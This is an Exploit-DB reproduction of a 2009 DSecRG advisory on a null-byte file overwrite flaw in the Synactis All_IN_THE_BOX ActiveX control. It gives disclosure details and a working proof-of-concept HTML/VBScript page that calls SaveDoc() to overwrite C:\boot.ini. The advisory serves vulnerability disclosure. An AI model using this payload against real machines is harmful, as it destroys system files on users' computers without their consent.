Synactis All_IN_THE_BOX ActiveX 3.0 - Null Byte File Overwrite

EDB-ID:

7928

Author:

DSecRG

Type:

remote

Platform:

Windows

Published:

2009-01-30

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-006

http://www.dsecrg.com/pages/vul/show.php?id=62


Application:                    Synactis All_IN_THE_BOX ActiveX
Versions Affected:              3
Vendor URL:                     http://synactis.com
Bugs:                           Null byte File overwriting
Exploits:                       YES
Reported:                       15.01.2009
Vendor response:                NONE
Second Report:                  22.01.2009
Vendor response:                NONE
Date of Public Advisory:        30.01.2009
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)


Description
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Synactis All_IN_THE_BOX ActiveX  Control  (ALL_IN_THE_BOX.OCX) can be used to owervrite any any file in target system.
Vulnerable method is "SaveDoc()"


Details
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By default when saving file All_IN_THE_BOX ActiveX control  attend extension to filename variable in "SaveDoc()" method.
For example if you enter filename "boot.ini" in "SaveDoc()" method then control will create file boot.ini.box.
But by attending a null byte to filename attacker can owervrite any file in OS (see example for owervriting boot.ini)



Class AllBox
GUID: {B5576893-F948-4E0F-9BE1-A37CB56D66FF}
Number of Interfaces: 1
Default Interface: IAllBox
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False



Example:
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<html>
Test Exploit page
<object classid='clsid:B5576893-F948-4E0F-9BE1-A37CB56D66FF' id='sh2kerr' ></object>
<script language='vbscript'>

targetFile = "C:\PROGRA~1\Synactis\ALLIN-~1\ALL_IN~1.OCX"
prototype  = "Sub SaveDoc ( ByVal aFileName As String )"
memberName = "SaveDoc"
progid     = "All_In_The_Box.AllBox"
argCount   = 1
arg1="C:\boot.ini"+unescape("%00")
sh2kerr.SaveDoc arg1
</script>
</html>



Fix Information
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No patches available.
We did not get any response from vendor for 2 weeks.




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